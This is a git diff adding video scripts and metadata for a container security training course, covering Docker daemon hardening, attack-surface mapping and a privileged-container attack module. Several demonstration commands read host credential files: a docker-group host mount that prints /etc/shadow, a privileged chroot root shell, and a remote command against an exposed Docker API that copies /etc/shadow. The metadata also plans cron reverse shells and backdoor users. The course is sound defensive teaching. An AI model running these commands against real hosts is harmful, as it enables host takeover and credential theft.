+│ - Sets up filesystem │ +└────────────────────────────────────────────┘ +``` + +**NARRATION:** +"Let's look at Docker from a security perspective. Docker has three main components. The CLI client — which sends commands. The Docker daemon — dockerd — which runs as root and manages everything: images, containers, networks, and volumes. And the container runtime — containerd and runc — which actually creates the isolated processes. The critical security fact is this: the Docker daemon runs as root. Anyone who can communicate with the daemon has effectively root-level access to the host. That communication happens over a Unix socket by default — and if you expose it over TCP, it's equivalent to giving root access to anyone who can reach that port." + +--- + +### [0:45–2:15] — The Docker Socket Risk (Terminal) + +**SCREEN:** Terminal at 150% zoom + +**NARRATION:** +"Let's examine the Docker socket and understand why it's the single most important security artifact on a Docker host." + +**COMMAND + EXPLANATION:** + +```bash +# Check Docker socket permissions +$ ls -la /var/run/docker.sock +srw-rw---- 1 root docker 0 Jan 15 08:00 /var/run/docker.sock +``` +*"The Docker socket is owned by root, with group ownership by the `docker` group. Anyone in the `docker` group can send commands to the daemon. And since the daemon runs as root, being in the docker group is effectively equivalent to being root."* + +```bash +# Prove it: mount the host filesystem from a container +$ docker run --rm -v /:/hostfs alpine cat /hostfs/etc/shadow +``` +*"Watch this. I'm in the docker group, so I can run this command. I mount the entire host root filesystem into a container, and then read /etc/shadow — the file containing password hashes. No sudo required. No privilege escalation. Just access to the Docker socket."* + +```bash +# Even more dangerous: get a root shell on the host +$ docker run --rm -it -v /:/hostfs --privileged alpine chroot /hostfs bash +# whoami +root +# cat /etc/hostname +actual-host-name +``` +*"Now I've got a root shell on the host. I chrooted into the mounted host filesystem. I can modify any file, install backdoors, read credentials — anything. This is why Docker socket access IS root access, and why you should never add untrusted users to the docker group."* + +--- + +### [2:15–3:30] — Docker Daemon Configuration Audit (Code Editor) + +**SCREEN:** Code editor at 150% zoom showing `/etc/docker/daemon.json` + +**NARRATION:** +"Now let's look at the daemon configuration file — this is where critical security settings live." + +**CODE EDITOR — Insecure daemon.json (BAD):** +```json +{ + "hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"], + "icc": true, + "iptables": true, + "live-restore": true, + "userland-proxy": true +} +``` + +**NARRATION:** +"This is a dangerously misconfigured daemon. Let me walk through the problems." + +*"First — `tcp://0.0.0.0:2375`. This exposes the Docker API on all network interfaces over unauthenticated, unencrypted TCP. Anyone on the network can control your Docker daemon — and therefore your host. This is the number one Docker misconfiguration in the wild. Shodan consistently finds thousands of exposed Docker daemons on the internet."* + +*"Second — `icc: true`. Inter-container communication is enabled, meaning all containers can talk to each other over the Docker bridge network. In a security-conscious deployment, you want this disabled so containers are isolated by default."* + +**CODE EDITOR — Hardened daemon.json (GOOD):** +```json +{ + "hosts": ["unix:///var/run/docker.sock"], + "tls": true, + "tlscacert": "/etc/docker/ca.pem", + "tlscert": "/etc/docker/server-cert.pem", + "tlskey": "/etc/docker/server-key.pem", + "tlsverify": true, + "icc": false, + "no-new-privileges": true, + "userland-proxy": false, + "live-restore": true, + "log-driver": "json-file", + "log-opts": { + "max-size": "10m", + "max-file": "3" + }, + "default-ulimits": { + "nofile": { "Name": "nofile", "Hard": 64000, "Soft": 64000 }, + "nproc": { "Name": "nproc", "Hard": 512, "Soft": 256 } + }, + "storage-driver": "overlay2" +} +``` + +**NARRATION:** +"Here's the hardened version. TCP exposure is removed — communication is Unix socket only. If you must expose TCP, TLS with mutual certificate verification is mandatory — that's what the tlsverify, tlscacert, and tlscert settings do. ICC is disabled. `no-new-privileges` prevents processes from gaining additional privileges via setuid binaries or capability escalation. The userland proxy is disabled in favor of iptables — which is more efficient and provides better network isolation. Log limits prevent a container from filling the host disk. And ulimits restrict file descriptors and process counts." + +--- + +### [3:30–4:30] — Scanning for Exposed Docker Daemons (Browser + Terminal) + +**BROWSER:** Navigate to `https://www.shodan.io/search?query=port%3A2375+product%3A%22Docker%22` + +**NARRATION:** +"Let me show you the real-world impact. On Shodan — a search engine for internet-connected devices — we can search for exposed Docker daemons on port 2375." + +*"These are real, production systems with their Docker API exposed to the internet. An attacker can connect to any of these and immediately start containers, access volumes, and compromise the host. This is not hypothetical — it's one of the most exploited misconfigurations in cloud environments."* + +**SWITCH TO TERMINAL:** + +```bash +# How an attacker checks for an exposed Docker daemon +$ curl -s http://target:2375/version 2>/dev/null | python3 -m json.tool +``` +*"If an attacker finds an exposed daemon, a simple curl request reveals the Docker version, API version, OS, architecture — and confirms they have full control."* + +```bash +# Demonstrating remote container creation (EDUCATIONAL ONLY) +# This is what an attacker would do: +$ DOCKER_HOST=tcp://target:2375 docker run -d \ + -v /:/hostfs --privileged \ + alpine sh -c "cat /hostfs/etc/shadow > /tmp/exfil && sleep 3600" +``` +*"From anywhere on the internet, they can run a privileged container with the host filesystem mounted. Game over. This is why the very first Docker security check in any audit should be: is port 2375 or 2376 exposed to the network?"* + +--- + +### [4:30–5:30] — Docker Security Defaults Audit (Terminal) + +**NARRATION:** +"Let's audit what Docker does by default — and what it doesn't." + +**COMMAND + EXPLANATION:** + +```bash +# Check what capabilities Docker grants by default +$ docker run --rm alpine sh -c 'cat /proc/1/status | grep -i cap' +CapInh: 0000000000000000 +CapPrm: 00000000a80425fb +CapEff: 00000000a80425fb +CapBnd: 00000000a80425fb +CapAmb: 0000000000000000 +``` + +```bash +# Decode the capability bitmask +$ docker run --rm alpine sh -c 'apk add -q libcap && capsh --decode=00000000a80425fb' +``` +*"By default, Docker grants 14 Linux capabilities. These include CHOWN, DAC_OVERRIDE, FOWNER, KILL, NET_BIND_SERVICE, NET_RAW, SETFCAP, SETGID, SETUID, SYS_CHROOT, MKNOD, AUDIT_WRITE, and SETPCAP. Some of these are necessary for basic operations, but others — like NET_RAW, which allows raw socket creation — are routinely exploited for network attacks inside container environments."* + +```bash +# Run a container with minimal capabilities +$ docker run --rm --cap-drop=ALL --cap-add=NET_BIND_SERVICE alpine id +uid=0(root) gid=0(root) +``` +*"Best practice: drop ALL capabilities and add back only what the application needs. Most web applications only need NET_BIND_SERVICE to listen on ports below 1024 — and if you run on port 8080 instead, you don't even need that."* + +--- + +### [5:30–6:30] — Docker Content Trust (Terminal + Code Editor) + +**NARRATION:** +"One more critical Docker security feature — image signing with Docker Content Trust." + +**COMMAND + EXPLANATION:** + +```bash +# Check if Docker Content Trust is enabled +$ echo $DOCKER_CONTENT_TRUST +# (empty — disabled by default) +``` +*"Docker Content Trust is disabled by default. When disabled, Docker will pull any image from any registry without verifying its authenticity or integrity."* + +```bash +# Enable Docker Content Trust +$ export DOCKER_CONTENT_TRUST=1 +``` +*"When enabled, Docker will only pull images that are cryptographically signed. This prevents supply-chain attacks where an attacker pushes a malicious image to a registry."* + +```bash +# Try pulling an unsigned image +$ docker pull someuser/unsigned-image:latest +# Error: remote trust data does not exist for ... +``` +*"With Content Trust enabled, unsigned images are rejected. This is a critical defense against supply-chain attacks — which have been used in real-world incidents to inject cryptominers and backdoors into production environments."* + +**CODE EDITOR — Docker Content Trust workflow:** +```bash +# Content Trust Signing Workflow +# ================================ + +# 1. Generate signing keys (first time) +$ docker trust key generate mykey + +# 2. Add signer to repository +$ docker trust signer add --key mykey.pub myname registry.example.com/myapp + +# 3. Sign and push an image +$ DOCKER_CONTENT_TRUST=1 docker push registry.example.com/myapp:v1.0 + +# 4. Verify signatures +$ docker trust inspect --pretty registry.example.com/myapp:v1.0 + +# 5. Enforce in daemon.json +# { +# "content-trust": { +# "mode": "enforced" +# } +# } +``` + +*"Here's the complete workflow for setting up content trust. Generate keys, add signers, sign during push, and enforce in the daemon configuration. We'll practice this hands-on in the lab exercises."* + +--- + +### [6:30–7:15] — Docker Bench Security (Terminal) + +**NARRATION:** +"Finally, let me show you an automated tool for auditing Docker security." + +**COMMAND + EXPLANATION:** + +```bash +# Run Docker Bench for Security +$ docker run --rm --net host --pid host \ + --userns host --cap-add audit_control \ + -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ + -v /var/lib:/var/lib:ro \ + -v /var/run/docker.sock:/var/run/docker.sock:ro \ + -v /usr/lib/systemd:/usr/lib/systemd:ro \ + -v /etc:/etc:ro \ + docker/docker-bench-security +``` +*"Docker Bench for Security is the official CIS benchmark checker. It audits your Docker host, daemon configuration, container runtime, images, and Docker Swarm settings against the Center for Internet Security benchmarks. Run this regularly — and before any production deployment."* + +```bash +# Sample output (abbreviated) +# [WARN] 2.1 - Run the Docker daemon as a non-root user +# [PASS] 2.2 - Ensure network traffic is restricted between containers +# [WARN] 2.3 - Ensure Docker is allowed to make changes to iptables +# [WARN] 4.1 - Ensure a user for the container has been created +# [PASS] 4.5 - Ensure Content trust for Docker is Enabled +``` +*"The output tells you exactly what passes and what needs attention. Every WARN is a security hardening opportunity."* + +--- + +### [7:15–8:00] — Key Takeaways and Bridge (PPT Slide) + +**SLIDE:** Title: *"Docker Security Essentials"* + +1. **Docker socket = root access** — protect it accordingly +2. **Never expose the daemon over TCP** without mutual TLS +3. **Drop all capabilities**, add back only what's needed +4. **Enable Docker Content Trust** for supply-chain security +5. **Disable ICC** and use explicit network policies +6. **Audit with Docker Bench** against CIS benchmarks regularly + +**NARRATION:** +"Remember these six principles. The Docker socket is root access — treat it like a root password. Never expose the daemon API without TLS and certificate authentication. Drop all capabilities by default. Enable Content Trust. Disable inter-container communication. And audit regularly with Docker Bench. In our final lesson for this module, we'll step back and map the complete container attack surface — giving you the comprehensive threat model you need for the rest of this course." + +**SLIDE:** *"Next: Container Attack Surface Mapping →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- Blur or redact any real results from Shodan to avoid showing actual vulnerable hosts +- The daemon.json comparison should use a split-screen or diff view with red (bad) and green (good) highlighting +- Docker Bench output should be shown scrolling, then paused on key WARN/PASS entries +- For the Docker socket demo, add an on-screen warning banner: "⚠️ EDUCATIONAL PURPOSE ONLY" +- All commands should be pre-tested on Ubuntu 22.04 with Docker 24.x+ +- The capability decode output should be shown with color-coded capabilities (risky = red, safe = green) diff --git a/container-security-course/module_01_fundamentals/video_04_script.pdf b/container-security-course/module_01_fundamentals/video_04_script.pdf new file mode 100644 index 0000000..b8cf1b3 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_04_script.pdf differ diff --git a/container-security-course/module_01_fundamentals/video_05_script.docx b/container-security-course/module_01_fundamentals/video_05_script.docx new file mode 100644 index 0000000..6a62308 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_05_script.docx differ diff --git a/container-security-course/module_01_fundamentals/video_05_script.md b/container-security-course/module_01_fundamentals/video_05_script.md new file mode 100644 index 0000000..69f5c08 --- /dev/null +++ b/container-security-course/module_01_fundamentals/video_05_script.md @@ -0,0 +1,216 @@ +# Video 1.5: Container Attack Surface Mapping + +**Duration:** 7:00 +**Format:** PPT (25%) / Terminal (35%) / Browser (25%) / Code Editor (15%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Videos 1.1–1.4 + +--- + +## SCRIPT BEGIN + +### [0:00–0:50] — The Attack Surface Framework (PPT Slide) + +**SLIDE:** Title: *"Container Attack Surface — Complete Map"* +Diagram showing concentric rings from inside out: +- Inner ring: **Application Layer** (code vulnerabilities, dependencies) +- Second ring: **Container Image Layer** (base image, installed packages, secrets in layers) +- Third ring: **Runtime Layer** (Docker daemon, container config, capabilities) +- Fourth ring: **Orchestration Layer** (Kubernetes, Docker Swarm, API servers) +- Outer ring: **Host/Kernel Layer** (kernel, host OS, shared resources) + +**NARRATION:** +"To defend containers effectively, you need a complete picture of the attack surface. I break it into five layers, from inside out. The application layer — your code and its dependencies. The container image layer — the base image, installed packages, and anything baked into the image. The runtime layer — how the container is configured, what privileges it has, the daemon itself. The orchestration layer — if you're using Kubernetes or Docker Swarm, that's a massive additional surface. And the host/kernel layer — which we've been discussing. Each layer has distinct attack vectors, and an adversary can move between layers. Let's examine each one." + +--- + +### [0:50–2:00] — Application Layer Attacks (Terminal + Browser) + +**NARRATION:** +"Starting from the inside — application-level vulnerabilities." + +**TERMINAL:** + +```bash +# Pull a vulnerable application image for demonstration +$ docker run -d --name vuln-app -p 8080:8080 \ + vulnerables/web-dvwa +``` +*"I'm running DVWA — Damn Vulnerable Web Application — in a container. This simulates a real-world scenario: your application has a vulnerability."* + +```bash +# Show that application-level access leads to container access +# After exploiting a web vulnerability (e.g., command injection): +$ docker exec vuln-app id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` +*"If an attacker exploits a web vulnerability — SQL injection, command injection, deserialization — they get a shell inside the container. They're running as the web application user. From here, every subsequent attack builds on container misconfiguration."* + +**BROWSER:** Navigate to `http://localhost:8080` showing DVWA interface + +*"Here's the DVWA interface. In a real attack, the attacker would exploit one of these vulnerabilities to get command execution inside the container. Then they'd pivot to exploiting container misconfiguration."* + +```bash +# Clean up +$ docker rm -f vuln-app +``` + +--- + +### [2:00–3:15] — Image Layer Attacks (Terminal) + +**NARRATION:** +"The container image itself is a rich attack surface." + +**COMMAND + EXPLANATION:** + +```bash +# Scan an image for known vulnerabilities +$ docker run --rm aquasec/trivy image nginx:latest +``` +*"Using Trivy — an open-source vulnerability scanner — we can scan any container image for known CVEs. Watch the output."* + +```bash +# Sample output (abbreviated): +# nginx:latest (debian 12.4) +# Total: 143 (UNKNOWN: 0, LOW: 89, MEDIUM: 38, HIGH: 14, CRITICAL: 2) +# +# ┌──────────────┬───────────────┬──────────┬────────────────┐ +# │ Library │ Vulnerability │ Severity │ Fixed Version │ +# ├──────────────┼───────────────┼──────────┼────────────────┤ +# │ libssl3 │ CVE-2024-XXXX │ CRITICAL │ 3.0.13-1 │ +# │ libcurl4 │ CVE-2024-XXXX │ HIGH │ 7.88.1-10+deb12│ +# └──────────────┴───────────────┴──────────┴────────────────┘ +``` +*"143 vulnerabilities in the official nginx image. 2 critical, 14 high. This is typical — base images carry significant vulnerability debt. And every package you install adds more."* + +```bash +# Compare with a minimal image +$ docker run --rm aquasec/trivy image nginx:alpine +``` +*"Compare with the Alpine-based nginx — significantly fewer vulnerabilities because Alpine uses musl libc and has a smaller package set. Choosing minimal base images is your first line of defense."* + +```bash +# Check for secrets accidentally baked into images +$ docker run --rm aquasec/trivy fs --scanners secret /path/to/dockerfile/context +``` +*"Trivy can also scan for secrets — API keys, passwords, private keys — accidentally baked into images. This is more common than you'd think."* + +--- + +### [3:15–4:30] — Runtime Layer Attacks (Terminal + Code Editor) + +**NARRATION:** +"The runtime layer is where misconfigurations become exploitable." + +**CODE EDITOR — Common dangerous `docker run` flags:** + +```bash +# ❌ DANGEROUS: Privileged mode — gives ALL capabilities + device access +docker run --privileged myapp + +# ❌ DANGEROUS: Host PID namespace — can see all host processes +docker run --pid=host myapp + +# ❌ DANGEROUS: Host network — bypasses network isolation +docker run --net=host myapp + +# ❌ DANGEROUS: Docker socket mount — gives container root access to host +docker run -v /var/run/docker.sock:/var/run/docker.sock myapp + +# ❌ DANGEROUS: Host filesystem mount +docker run -v /:/host myapp + +# ❌ DANGEROUS: SYS_ADMIN capability — enough for container escape +docker run --cap-add=SYS_ADMIN myapp + +# ✅ SECURE: Minimal privileges +docker run \ + --cap-drop=ALL \ + --security-opt=no-new-privileges \ + --read-only \ + --tmpfs /tmp:rw,noexec,nosuid,size=64m \ + --user 1000:1000 \ + --pids-limit=100 \ + --memory=256m \ + --cpus=0.5 \ + myapp +``` + +**NARRATION:** +"Here's a gallery of dangerous docker run flags. Privileged mode — we'll dissect this in Module 2. Host PID namespace — the container can see and interact with every process on the host. Host network — network isolation is completely removed. Docker socket mount — the container can control Docker and therefore the host. Host filesystem mount — self-explanatory. And SYS_ADMIN capability alone is often enough for container escape. At the bottom, the secure version — all capabilities dropped, no new privileges, read-only filesystem, non-root user, and resource limits. Every one of these flags is a checklist item in your container security audit." + +--- + +### [4:30–5:30] — Supply Chain Attacks (PPT + Browser) + +**SLIDE:** Title: *"Container Supply Chain Attack Vectors"* + +Attack flow diagram: +``` +Developer → Dockerfile → Build → Registry → Deploy + ↑ ↑ ↑ ↑ ↑ + Compromised Malicious Inject Tampered Pull + dependency base image during image in unsigned + (npm, pip) CI/CD registry image +``` + +**NARRATION:** +"Container supply chain attacks target every stage of the image lifecycle. A compromised npm or pip package in your Dockerfile pulls in malicious code. A malicious base image — there have been real cases of typosquatted official images on Docker Hub. Injection during CI/CD — if your build pipeline is compromised, every image it produces is compromised. Registry tampering — if the registry isn't secured, images can be replaced. And pulling unsigned images — without content trust, you're trusting the network blindly." + +**BROWSER:** Navigate to `https://hub.docker.com/` + +*"Docker Hub hosts millions of images. The official images — marked with the blue badge — are vetted. But anyone can push an image called `ngnix` with a typo, or `mysql-server` — a name that looks official but isn't. Without content trust and registry scanning, these make it into production."* + +--- + +### [5:30–6:20] — Orchestration Layer Preview (PPT Slide) + +**SLIDE:** Title: *"Orchestration Attack Surface (Kubernetes Preview)"* + +| Component | Risk | Impact | +|-----------|------|--------| +| API Server | Unauthenticated access | Full cluster control | +| etcd | Unencrypted data | Secret extraction | +| Kubelet | Anonymous auth | Node compromise | +| Service Accounts | Over-permissioned | Lateral movement | +| Pod Security | No policies | Privileged pods | +| RBAC | Misconfigured | Privilege escalation | +| Network Policies | Missing | No pod isolation | +| Admission Controllers | Disabled | Security bypass | + +**NARRATION:** +"If you're running Kubernetes, you've added an enormous attack surface. The API server, etcd, kubelet, service accounts, RBAC, network policies, admission controllers — each one is a potential entry point. We won't cover Kubernetes security in depth in this course, but be aware: every layer of orchestration you add is another layer of attack surface. The same principles apply — minimize access, enforce least privilege, monitor everything." + +--- + +### [6:20–7:00] — Module Recap and What's Next (PPT Slide) + +**SLIDE:** Title: *"Module 1 — Complete"* + +What you now understand: +- ✅ Container isolation is built on namespaces, cgroups, and layered filesystems +- ✅ Containers share the host kernel — fundamentally different from VMs +- ✅ 300+ system calls are exposed by default +- ✅ Docker daemon misconfiguration = host compromise +- ✅ The attack surface spans five layers — application to host + +What's next: +- 🔜 Module 2: Privileged Containers & Attack Vectors +- 🔜 You'll exploit the weaknesses we discussed today + +**NARRATION:** +"That completes Module 1. You now have the security-focused mental model of container architecture that you'll carry through the rest of this course. You understand what containers actually are at the kernel level, where the isolation boundaries are, and where they fail. You know the Docker daemon is a high-value target and how to harden it. And you have a complete map of the attack surface. In Module 2, we're going to take everything we've discussed and weaponize it. We'll look at privileged containers — the most dangerous misconfiguration in container security — and demonstrate real container escapes. Don't forget to complete the module assessment before moving on. I'll see you in Module 2." + +--- + +## SCRIPT END + +### Post-Production Notes +- The attack surface concentric ring diagram should be animated — rings appearing from inside out +- Trivy scan should show real output — pre-run against nginx:latest before recording +- The "dangerous flags" code editor section should use red highlighting for ❌ lines and green for ✅ +- DVWA should be pre-configured and loaded — do not show setup screens +- Docker Hub browser segment should be brief — pre-navigate to search results showing unofficial images +- End with a 3-second module completion animation before transition +- Consider adding a "Module 1 Complete" achievement badge animation diff --git a/container-security-course/module_01_fundamentals/video_05_script.pdf b/container-security-course/module_01_fundamentals/video_05_script.pdf new file mode 100644 index 0000000..ce06a48 Binary files /dev/null and b/container-security-course/module_01_fundamentals/video_05_script.pdf differ diff --git a/container-security-course/module_02_privileged_containers/metadata.docx b/container-security-course/module_02_privileged_containers/metadata.docx new file mode 100644 index 0000000..05b44f9 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/metadata.docx differ diff --git a/container-security-course/module_02_privileged_containers/metadata.md b/container-security-course/module_02_privileged_containers/metadata.md new file mode 100644 index 0000000..63328ad --- /dev/null +++ b/container-security-course/module_02_privileged_containers/metadata.md @@ -0,0 +1,118 @@ +# Module 2: Privileged Containers & Attack Vectors — Complete Metadata + +--- + +## Module Overview + +| Field | Value | +|-------|-------| +| **Module Number** | 2 | +| **Module Title** | Privileged Containers & Attack Vectors | +| **Total Duration** | ~35:00 (including module summary) | +| **Number of Videos** | 4 lessons + 1 module summary | +| **Difficulty Level** | Intermediate–Advanced | +| **Assessment** | 3 module MCQs + 2 final assessment MCQs | + +--- + +## Module Summary Video + +| Field | Value | +|-------|-------| +| **Title** | Module 2 Overview: Privileged Containers & Attack Vectors | +| **File** | `module_summary_script.md` | +| **Duration** | 2:30 | +| **Description** | Introduces the module's offensive security focus, previews attack demonstrations including host compromise, privilege escalation, container escape, and real-world CVE exploitation. Sets context with real-world breach examples and lists prerequisites. | +| **Learning Objectives** | Understand module scope and offensive focus; Identify real-world container security incidents; Review prerequisites | +| **Prerequisites** | Module 1 completion | +| **Resources** | Lab environment setup, ethical hacking guidelines | +| **Screen Mix** | PPT 80%, Terminal 20% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 2.1: What Privileged Containers Are and Why They're Dangerous + +| Field | Value | +|-------|-------| +| **Title** | What Privileged Containers Are and Why They're Dangerous | +| **File** | `video_01_script.md` | +| **Duration** | 8:00 | +| **Description** | Systematically examines what the `--privileged` flag changes: capability grant (14 → 41), Seccomp disablement, AppArmor removal, full device access, writable /proc and /sys, and kernel module loading. Compares default vs. privileged containers side by side with terminal evidence. Covers legitimate use cases and their safer alternatives. Includes a detection script for auditing privileged containers. | +| **Learning Objectives** | 1. List all security mechanisms disabled by `--privileged`; 2. Compare default and privileged container capabilities; 3. Identify legitimate use cases and their alternatives; 4. Detect privileged containers using Docker inspect and custom scripts | +| **Prerequisites** | Module 1 (namespaces, cgroups, capabilities concepts) | +| **Resources** | Linux capabilities man page, Docker security documentation, CIS Docker Benchmark | +| **Key Commands** | `capsh --print`, `cat /proc/1/status`, `ls /dev/`, `docker inspect --format`, detection script | +| **Screen Mix** | PPT 25%, Terminal 40%, Code Editor 20%, Browser 15% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 2.2: Host System Compromise from Privileged Containers + +| Field | Value | +|-------|-------| +| **Title** | Host System Compromise Demonstrations | +| **File** | `video_02_script.md` | +| **Duration** | 8:00 | +| **Description** | Complete walkthrough of host compromise from inside a privileged container: disk enumeration and host filesystem mounting, credential harvesting (shadow file, SSH keys, cloud credentials), establishing three persistence mechanisms (SSH key, backdoor user, cron reverse shell), pivoting to other containers via Docker socket, and an alternative escape using the cgroup release_agent technique. | +| **Learning Objectives** | 1. Mount and access the host filesystem from a privileged container; 2. Harvest credentials from the host; 3. Establish multiple persistence mechanisms; 4. Pivot from one container to access all containers on the host; 5. Execute the cgroup release_agent escape technique | +| **Prerequisites** | Video 2.1 | +| **Resources** | MITRE ATT&CK for Containers (T1611), Felix Wilhelm's cgroup escape research | +| **Key Commands** | `fdisk -l`, `mount /dev/sda`, `chroot`, `nsenter`, cgroup release_agent technique | +| **Screen Mix** | PPT 15%, Terminal 50%, Code Editor 25%, Browser 10% | +| **Resolution** | 1920x1080 @ 30fps | +| **Safety Note** | All demonstrations must be in isolated lab environments; add persistent lab environment overlay | + +--- + +## Video 2.3: Privilege Escalation and Container Escape Techniques + +| Field | Value | +|-------|-------| +| **Title** | Privilege Escalation and Container Escape Techniques | +| **File** | `video_03_script.md` | +| **Duration** | 8:00 | +| **Description** | Demonstrates four container escape techniques from non-privileged starting points: CAP_SYS_ADMIN cgroup escape, Docker socket mount exploitation, host PID namespace credential harvesting, and writable host path traversal. Provides a technique comparison matrix covering required configuration, complexity, and detection difficulty. | +| **Learning Objectives** | 1. Execute container escape via CAP_SYS_ADMIN alone; 2. Escalate from Docker socket access to host root; 3. Harvest credentials via host PID namespace; 4. Exploit writable host path mounts for persistence; 5. Compare escape techniques by requirements and complexity | +| **Prerequisites** | Videos 2.1, 2.2 | +| **Resources** | Trail of Bits container security research, Docker socket proxy documentation | +| **Key Commands** | `mount -t cgroup`, `docker run` (from socket), `cat /proc/[pid]/environ`, path traversal techniques | +| **Screen Mix** | PPT 20%, Terminal 45%, Code Editor 25%, Browser 10% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Video 2.4: Real-World CVE Analysis and Exploitation + +| Field | Value | +|-------|-------| +| **Title** | Real-World CVE Analysis and Exploitation | +| **File** | `video_04_script.md` | +| **Duration** | 8:30 | +| **Description** | In-depth analysis of three container escape CVEs across different stack layers: CVE-2019-5736 (runc binary overwrite — runtime layer), CVE-2020-15257 (containerd abstract socket access via host networking — manager layer), and CVE-2022-0185 (Linux kernel heap overflow — kernel layer). For each CVE, covers the vulnerability mechanism, exploit chain, patch, and detection strategy. Includes a CVE response playbook and comparison matrix. | +| **Learning Objectives** | 1. Analyze CVE-2019-5736 exploit chain and the /proc/self/exe attack; 2. Understand CVE-2020-15257 namespace confusion with abstract Unix sockets; 3. Trace CVE-2022-0185 kernel heap exploitation steps; 4. Compare CVEs across attack layers, complexity, and mitigations; 5. Build a container CVE response playbook | +| **Prerequisites** | Videos 2.1–2.3, Module 1 (kernel and namespace concepts) | +| **Resources** | NVD entries for all three CVEs, runc security advisories, containerd security advisories, kernel.org advisories | +| **Key Commands** | `runc --version`, `containerd --version`, `uname -r`, `sysctl kernel.unprivileged_userns_clone` | +| **Screen Mix** | PPT 20%, Terminal 35%, Code Editor 25%, Browser 20% | +| **Resolution** | 1920x1080 @ 30fps | + +--- + +## Technical Production Requirements + +| Requirement | Specification | +|-------------|--------------| +| Resolution | 1920x1080 Full HD | +| Frame Rate | 30fps constant | +| Terminal Theme | Dark (Dracula or One Dark), 150% zoom | +| Code Editor | VS Code, 150% zoom, max 20–22 lines visible | +| PPT Slides | Maximized, 150% for readability, red accent theme for warnings | +| Browser | Chromium/Chrome, 150% zoom, pre-loaded pages | +| Screen Mix (Module Avg) | Terminal 42%, Code Editor 24%, PPT 20%, Browser 14% | +| Host OS | Ubuntu 22.04 LTS (isolated lab environment) | +| Docker Version | 24.x+ with Docker Compose v2 | +| Safety | Persistent "⚠️ LAB ENVIRONMENT" overlay on all demo segments | +| Pre-pulled Images | alpine, docker:latest, vulnerables/web-dvwa, aquasec/trivy, postgres | +| Ethical Disclaimer | Required at beginning and end of each video with terminal demonstrations | diff --git a/container-security-course/module_02_privileged_containers/metadata.pdf b/container-security-course/module_02_privileged_containers/metadata.pdf new file mode 100644 index 0000000..fcf32a4 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/metadata.pdf differ diff --git a/container-security-course/module_02_privileged_containers/module_summary_script.docx b/container-security-course/module_02_privileged_containers/module_summary_script.docx new file mode 100644 index 0000000..e1d207c Binary files /dev/null and b/container-security-course/module_02_privileged_containers/module_summary_script.docx differ diff --git a/container-security-course/module_02_privileged_containers/module_summary_script.md b/container-security-course/module_02_privileged_containers/module_summary_script.md new file mode 100644 index 0000000..8bc221b --- /dev/null +++ b/container-security-course/module_02_privileged_containers/module_summary_script.md @@ -0,0 +1,94 @@ +# Module 2: Privileged Containers & Attack Vectors — Module Summary Script + +**Duration:** 2:30 +**Format:** Mixed (PPT slides + terminal teaser) +**Purpose:** Module overview and orientation + +--- + +## SCRIPT BEGIN + +### [0:00–0:20] — Opening / Hook (PPT Slide: Title Slide) + +**SLIDE:** *Module 2: Privileged Containers & Attack Vectors* — Red warning icon, subtitle: "Breaking Out of the Box" + +**NARRATION:** +"Welcome to Module 2. In Module 1, we built the security-focused mental model of container architecture. In this module, we break it. You're going to see, step by step, exactly how containers are compromised — from privileged container abuse to full host takeover. This is the offensive security module, and it's where theory becomes reality." + +--- + +### [0:20–0:55] — What You'll Learn (PPT Slide: Learning Objectives) + +**SLIDE:** Bullet list with icons: +- What privileged containers are and what they unlock +- Hands-on host system compromise from a privileged container +- Privilege escalation attack techniques +- Container escape methods — from kernel exploits to misconfigurations +- Real-world CVE analysis and exploitation walkthroughs + +**NARRATION:** +"We're covering four lessons in this module. First, we'll examine what privileged containers actually are — what capabilities they gain, what protections they lose, and why they exist in the first place. Then we'll demonstrate host system compromise from inside a privileged container — reading host files, writing to host filesystems, and establishing persistence. Next, we'll explore privilege escalation techniques — moving from an unprivileged container to root on the host through multiple attack paths. And finally, we'll analyze real CVEs — CVE-2019-5736, CVE-2020-15257, and CVE-2022-0185 — walking through the exploit chains step by step." + +--- + +### [0:55–1:25] — Why It Matters (PPT Slide: Real-World Context) + +**SLIDE:** Headline: "The Privileged Container Problem" — Key facts: +- 23% of cloud containers run with excessive privileges (Sysdig 2024 Report) +- Tesla's Kubernetes cluster was compromised via a privileged container (2018) +- Capital One breach involved container misconfiguration with excessive IAM roles +- Average dwell time for container compromise: 4 hours before detection + +**NARRATION:** +"Twenty-three percent of containers in production run with more privileges than they need. One in four. Tesla's Kubernetes cluster was compromised through an exposed dashboard that allowed attackers to run privileged containers — which they used for cryptomining. The Capital One breach involved misconfigured containers with excessive cloud permissions. And once an attacker is inside a container, the average organization takes four hours to detect the compromise. By then, if the container is privileged, the host is already owned. Understanding these attacks is how you learn to prevent them." + +--- + +### [1:25–1:55] — Prerequisites (PPT Slide: Prerequisites) + +**SLIDE:** Two columns: +*Required:* Module 1 completion, Linux CLI proficiency, understanding of namespaces and cgroups +*Helpful:* Docker experience, basic security/pentesting concepts, familiarity with CVE advisories + +**NARRATION:** +"You must complete Module 1 before starting this module — we build directly on the namespace, cgroup, and kernel concepts from those lessons. You need solid Linux command-line skills, because we'll be working extensively in the terminal. Basic Docker experience helps, and if you've done any penetration testing or red team work, you'll find the techniques familiar — but applied in a container context." + +--- + +### [1:55–2:15] — What You'll Be Able To Do (PPT Slide: Outcomes) + +**SLIDE:** Checklist with green checkmarks: +- ✅ Identify when a container is running in privileged mode +- ✅ Demonstrate host compromise from a privileged container +- ✅ Execute multiple container escape techniques +- ✅ Analyze CVE advisories for container-relevant exploits +- ✅ Build a container escape detection strategy + +**NARRATION:** +"After this module, you'll be able to detect privileged containers in your environment, demonstrate exactly why they're dangerous to stakeholders, execute multiple container escape paths — which is essential for red team and penetration testing work — analyze CVE advisories for container impact, and build detection strategies for container escape attempts." + +--- + +### [2:15–2:30] — Transition (Terminal Teaser) + +**SCREEN:** Quick terminal flash showing: +```bash +container# mount /dev/sda1 /mnt +container# chroot /mnt bash +root@actual-host# cat /etc/shadow 